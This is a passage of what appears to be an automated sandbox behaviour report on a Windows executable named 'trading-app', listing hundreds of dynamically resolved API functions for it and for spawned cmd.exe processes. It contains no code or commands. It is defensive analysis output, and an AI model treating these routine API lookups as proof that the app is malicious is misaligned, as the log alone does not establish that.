called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetAllParameters (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004416) "trading-app.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WaitOnAddress (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WakeByAddressSingle (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RtlCaptureStackBackTrace (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RtlNtStatusToDosError (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtDeviceIoControlFile (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryInformationFile (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtSetInformationFile (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryVolumeInformationFile (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryDirectoryFile (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetWinEventHook (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetHostNameW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CommandLineToArgvW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityInfo (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsValidSecurityDescriptor (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorControl (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorOwner (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorGroup (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorDacl (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSecurityDescriptorSacl (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsValidAcl (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetAce (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetSecurityInfo (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetHandleVerifier (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LdrLockLoaderLock (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LdrUnlockLoaderLock (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateWindowStationW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter BuildTrusteeWithSidW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetProcessWindowStation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateDesktopW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegisterClassExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegisterSuspendResumeNotification (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetProcessDpiAwarenessContext (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetProcessDpiAwareness (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter VirtualAlloc2 (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MapViewOfFile3 (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter UnmapViewOfFile2 (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RtlAddGrowableFunctionTable (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RtlDeleteGrowableFunctionTable (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CharUpperW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegEnumKeyExA (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowLongPtrW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetWindowLongPtrW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MsgWaitForMultipleObjectsEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetPointerDevices (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetDisplayConfigBufferSizes (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter QueryDisplayConfig (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DisplayConfigGetDeviceInfo (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetDpiForMonitor (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RoActivateInstance (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NtQuerySection (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateDCW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetICMProfileW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetTokenInformation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MapGenericMask (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AccessCheck (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateRestrictedToken (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateProcessAsUserW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegisterDeviceNotificationW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LoadIconW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EnableNonClientDpiScaling (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsZoomed (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsIconic (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ClientToScreen (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSystemMenu (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetPropW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegisterDragDrop (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetQueueStatus (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowTextLengthW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsRectEmpty (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WindowsGetStringRawBuffer (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetCaretBlinkTime (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetTextMetricsW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetSystemMetricsForDpi (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegisterPowerSettingNotification (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetClassLongPtrW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetWindowTextW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsChild (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetActiveWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowDC (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MapWindowPoints (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateRectRgnIndirect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateRectRgn (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CombineRgn (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SelectClipRgn (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetCursorPos (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter MonitorFromPoint (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetForegroundWindow (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetKeyState (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetFocus (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetCurrentProcessExplicitAppUserModelID (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LoadCursorW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetClassInfoExW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AtlThunk_AllocateData (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AtlThunk_InitData (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AtlThunk_DataToCode (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AtlThunk_FreeData (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CreateStdAccessibleObject (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CoCreateFreeThreadedMarshaler (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter WindowFromPoint (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DispatchMessageW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter BeginPaint (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EndPaint (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter PathMatchSpecW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter CallNtPowerInformation (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetClassNameW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowRgn (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DwmGetWindowAttribute (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetWindowPlacement (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter TrackMouseEvent (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetMessageTime (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetCapture (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetCursor (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ScreenToClient (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DwmDefWindowProc (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter AddMandatoryAce (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter IsWindowEnabled (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetKeyboardLayout (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter GetKeyboardState (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter ToUnicodeEx (UID: 00000000-00006124) "trading-app.exe" called "GetProcAddress" with a parameter DiscardVirtualMemory (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001708) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006724) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 